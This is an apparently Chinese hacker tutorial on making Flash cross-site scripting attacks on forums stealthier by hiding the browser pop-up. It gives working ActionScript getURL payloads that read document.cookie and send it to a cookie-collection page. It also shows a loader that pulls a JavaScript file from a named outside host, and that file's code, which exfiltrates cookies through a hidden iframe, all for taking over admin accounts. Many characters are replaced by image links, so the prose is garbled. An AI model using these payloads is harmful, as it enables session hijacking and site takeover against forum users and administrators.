by: 冰狐浪子 http://www.icyfoxlovelace.com
前些天
![](/icons/10776yi.gif)
直忙着学习WIN32汇编
![](/icons/10776dou.gif)
![](/icons/10776yi.gif)
直懒得写文章
![](/icons/10776dou.gif)
这些天来好像Flash跨站攻击闹
![](/icons/10776de.gif)
挺凶
![](/icons/10776de.gif)
![](/icons/10776dou.gif)
但在实施Flash跨站攻击时
![](/icons/10776de.gif)
那个弹出
![](/icons/10776de.gif)
IE窗口很容易引起别人
![](/icons/10776de.gif)
怀疑
![](/icons/10776dou.gif)
而使得Flash跨站攻击失败
![](/icons/10776dou.gif)
这
![](/icons/10776de.gif)
确让人多少有点头疼
![](/icons/10776dou.gif)
大家是不是也
![](/icons/10776yi.gif)
直在寻找实施Flash跨站攻击时不弹出IE窗口
![](/icons/10776de.gif)
思路方法来隐藏自己
![](/icons/10776de.gif)
攻击行为呢?下面大家和我
![](/icons/10776yi.gif)
起来解决这个不大不小
![](/icons/10776de.gif)
问题
![](/icons/10776dou.gif)
让Flash跨站攻击更完美吧!
![](/icons/10776yi.gif)
般来说大家在进行Flash跨站攻击时都是自己做
![](/icons/10776yi.gif)
个Flash动画
![](/icons/10776dou.gif)
并在第
![](/icons/10776yi.gif)
帧中加入用于跳转到其他URL
![](/icons/10776de.gif)
AtionScript脚本
![](/icons/10776hanshu.gif)
![](/icons/10776dou.gif)
如下:
getURL("JavaScript:window.open('http://用于收集Cookie
![](/icons/10776de.gif)
网页地址?'+document.cookie)","_self")
然后把这个Flash动画置于论坛中
![](/icons/10776de.gif)
签名、贴子或短信消息中
![](/icons/10776dou.gif)
用来获得管理员或用户
![](/icons/10776de.gif)
Cookie
![](/icons/10776dou.gif)
从而得到管理权限
![](/icons/10776dou.gif)
进
![](/icons/10776yi.gif)
步伺机控制整个站点,最终达到自己
![](/icons/10776de.gif)
目
![](/icons/10776de.gif)
![](/icons/10776dou2.gif)
我们可以看到在整个跨站攻击中最重要
![](/icons/10776de.gif)
就是这个AtionScript脚本啦!也就是这个脚本中用到
![](/icons/10776de.gif)
代码打开了
![](/icons/10776yi.gif)
个我们又爱又恨
![](/icons/10776de.gif)
窗口
![](/icons/10776dou.gif)
所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出
![](/icons/10776de.gif)
IE窗口
![](/icons/10776dou.gif)
除此外别无它法!
我们先分析
![](/icons/10776yi.gif)
下上面
![](/icons/10776de.gif)
AtionScript脚本
![](/icons/10776dou.gif)
它使用AtionScript脚本
![](/icons/10776hanshu.gif)
"getURL"跳转到
![](/icons/10776yi.gif)
个使用JavaScript协议
![](/icons/10776de.gif)
URL(JavaScript协议后面就是我们非常熟悉
![](/icons/10776de.gif)
JavaScript脚本代码)
![](/icons/10776dou.gif)
在JavaScript中使用document.cookie
![](/icons/10776de.gif)
到Cookie
![](/icons/10776dou.gif)
并把Cookie和
![](/icons/10776yi.gif)
个用于收集Cookie
![](/icons/10776de.gif)
网页地址连成
![](/icons/10776yi.gif)
个http协议
![](/icons/10776de.gif)
URL地址
![](/icons/10776dou.gif)
最后使用window.open打开合成
![](/icons/10776de.gif)
URL地址
![](/icons/10776dou.gif)
从而把Cookie用GET方式发送到用于收集Cookie
![](/icons/10776de.gif)
网页
![](/icons/10776dou.gif)
并记录下来
通过上面
![](/icons/10776de.gif)
分析我们进
![](/icons/10776yi.gif)
步了解那个弹出
![](/icons/10776de.gif)
IE窗口是由于JavaScript协议中
![](/icons/10776de.gif)
代码window.open所生成
![](/icons/10776de.gif)
![](/icons/10776dou.gif)
相信大家都知道window.open
![](/icons/10776de.gif)
第 2个参数用来指定打开
![](/icons/10776de.gif)
窗口
![](/icons/10776de.gif)
名字
![](/icons/10776dou.gif)
其通用名称有"_media (IE6.0 在浏览器左边
![](/icons/10776de.gif)
媒体面板内打开)"、"_blank (在新窗口中打开)"、"_parent (在当前框架
![](/icons/10776de.gif)
父框架内打开
![](/icons/10776dou2.gif)
假如当前框架无父框架
![](/icons/10776dou.gif)
此参数值等同于 _self)"、"_search (IE5.0 在浏览器左边
![](/icons/10776de.gif)
搜索面板内打开)"、"_self(在当前窗口中打开
![](/icons/10776dou.gif)
覆盖当前文档)"、"_top (在所有框架的外
![](/icons/10776de.gif)
最顶层窗口中打开
![](/icons/10776dou2.gif)
假如当前窗口无框架结构
![](/icons/10776dou.gif)
此参数值等同于 _self )"等几种
![](/icons/10776dou.gif)
如果我们以"_search"来打开窗口
![](/icons/10776dou.gif)
不是就没有了弹出
![](/icons/10776de.gif)
IE窗口了吗?AtionScript脚本改为:
getURL("JavaScript:window.open('http://用于收集Cookie
![](/icons/10776de.gif)
网页地址?'+document.cookie,'_search')","_self")
当然
![](/icons/10776dou.gif)
这样做会打开搜索面板
![](/icons/10776dou.gif)
也会引起怀疑
![](/icons/10776dou.gif)
但却可以躲过那些关闭弹出窗口软件Software
![](/icons/10776de.gif)
追杀!姑且也算
![](/icons/10776yi.gif)
种思路方法吧!
如果仅仅是上面所说
![](/icons/10776de.gif)
![](/icons/10776dou.gif)
相信不少读者要把我
![](/icons/10776dou2.gif)
![](/icons/10776dou2.gif)
![](/icons/10776dou2.gif)
![](/icons/10776dou2.gif)
![](/icons/10776dou2.gif)
看到这里聪明
![](/icons/10776de.gif)
你是不是想到了点解决
![](/icons/10776de.gif)
思路?对!既然支持JavaScript啦
![](/icons/10776dou.gif)
还有啥东东会不能解决呢?JavaScript真
![](/icons/10776de.gif)
是好处多多呀!
如果你曾看了我
![](/icons/10776de.gif)
那篇"打造
![](/icons/10776yi.gif)
个完美
![](/icons/10776de.gif)
IE网页木马"
![](/icons/10776de.gif)
文章
![](/icons/10776dou.gif)
并且你对其中
![](/icons/10776de.gif)
代码深深理解
![](/icons/10776de.gif)
话
![](/icons/10776dou.gif)
你可以自己先去想象
![](/icons/10776yi.gif)
下啦!呵呵......
在那篇文章中有下面这样
![](/icons/10776yi.gif)
段代码:
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');
window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval
![](/icons/10776kh.gif)
;","icyfoxlovelace");
使用了javascript协议把自己网站WebSite上
![](/icons/10776de.gif)
![](/icons/10776yi.gif)
个js代码文件插入到了本地文件中
![](/icons/10776dou.gif)
同样
![](/icons/10776de.gif)
道理我们也可以用它把
![](/icons/10776yi.gif)
个js代码文件插入到进行跨站攻击
![](/icons/10776de.gif)
论坛网页中
![](/icons/10776dou.gif)
相应
![](/icons/10776de.gif)
AtionScript脚本改为:
getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval
![](/icons/10776kh.gif)
;","_self")
其中icyfox.js得内容如下:
cookieurl="http://用于收集Cookie
![](/icons/10776de.gif)
网页地址?cookie="+escape(document.cookie);
/*这里使用了escape()对cookie编码
![](/icons/10776dou.gif)
用来防止cookie中
![](/icons/10776de.gif)
![](/icons/10776yi.gif)
些特殊
![](/icons/10776zifu.gif)
*/
document.body.insertAdjacentHTML('beforeEnd','<
![](/icons/10776if.gif)
rame WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/
![](/icons/10776if.gif)
rame>');
/*这里使用了insertAdjacentHTML在body
![](/icons/10776de.gif)
最后插入了
![](/icons/10776yi.gif)
个不可见
![](/icons/10776de.gif)
框架*/
这里主要是利用了可以在
![](/icons/10776yi.gif)
个网页中引入区别域中
![](/icons/10776de.gif)
javascript代码文档
![](/icons/10776dou.gif)
而且所引入
![](/icons/10776de.gif)
javascript代码文档会和本网页融为
![](/icons/10776yi.gif)
体
![](/icons/10776de.gif)
特点!
好啦!至此Flash跨站攻击弹出IE窗口
![](/icons/10776de.gif)
问题算是解决啦!当然如果你愿意
![](/icons/10776dou.gif)
在icyfox.js中加个网页木马的类
![](/icons/10776de.gif)
我也无话可说!
最后我再顺便说
![](/icons/10776yi.gif)
句
![](/icons/10776dou.gif)
它同样可以用于在其他类型
![](/icons/10776de.gif)
跨站脚本功击中隐藏弹出
![](/icons/10776de.gif)
IE窗口!比起利用Microsoft.XMLHTTPControl控件发送COOKIE要随意
![](/icons/10776de.gif)
多
![](/icons/10776dou.gif)
![](/icons/10776yinwei.gif)
它不会像Microsoft.XMLHTTPControl控件那样只能发给当前服务器
![](/icons/10776dou.gif)
还有焦点上czy
![](/icons/10776de.gif)
"利用Microsoft.XMLHTTPControl控件发送COOKIE"
![](/icons/10776yi.gif)
文中提到这样
![](/icons/10776yi.gif)
句话:
"以前我想了
![](/icons/10776yi.gif)
个在网页中用insertAdjacentHTML思路方法来注入HTML语句
![](/icons/10776de.gif)
办法勉强可以作到发送COOKIE不出现IE窗口
![](/icons/10776dou.gif)
但是在实际使用中有时会遇到IE出错
![](/icons/10776dou2.gif)
"
具我分析是
![](/icons/10776yinwei.gif)
在COOKIE中存在了
![](/icons/10776yi.gif)
些特殊
![](/icons/10776zifu.gif)
![](/icons/10776dou.gif)
而czy没有正确处理或是编码
![](/icons/10776dou.gif)
才会在实际使用中有时会遇到IE出错
![](/icons/10776dou.gif)
所以上面代码我用了escape()对cookie编码
![](/icons/10776dou.gif)
在接受到cookie后请注意用unescape()来解码!
--------------icyfoxlovelace/冰狐浪子
上
篇文章: 穿过防火墙
多种思路方法
下
篇文章: 全面防御asp网站WebSite防黑客攻击